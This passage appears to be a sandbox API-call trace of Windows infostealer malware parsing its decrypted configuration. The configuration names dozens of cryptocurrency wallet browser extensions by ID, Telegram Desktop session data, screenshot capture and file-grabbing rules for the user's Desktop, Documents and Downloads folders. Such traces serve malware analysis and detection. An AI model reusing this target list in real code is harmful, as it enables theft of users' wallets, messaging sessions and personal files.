Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 2680 [0260.575] LocalAlloc (uFlags=0x40, uBytes=0x14f0) returned 0x6bc110 [0260.575] StrStrW (lpFirst="ews_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3", lpSrch="_") returned="_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3" [0260.575] lstrlenW (lpString="ews_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 2680 [0260.575] LocalAlloc (uFlags=0x40, uBytes=0x1570) returned 0x6bd608 [0260.575] StrCpyW (in: psz1=0x6b9720, psz2="ews" | out: psz1="ews") returned="ews" [0260.575] LocalFree (hMem=0x6bd608) returned 0x0 [0260.575] StrStrW (lpFirst="ews_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3", lpSrch="\n") returned="\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3" [0260.576] lstrcmpiW (lpString1="ews", lpString2="libs") returned -1 [0260.576] LocalFree (hMem=0x6b9720) returned 0x0 [0260.576] LocalFree (hMem=0x6bac18) returned 0x0 [0260.576] LocalFree (hMem=0x6bc110) returned 0x0 [0260.577] StrStrW (lpFirst="ews_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3", lpSrch="\n") returned="\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3" [0260.577] lstrlenW (lpString="ews_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 2604 [0260.577] lstrlenW (lpString="ews_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension 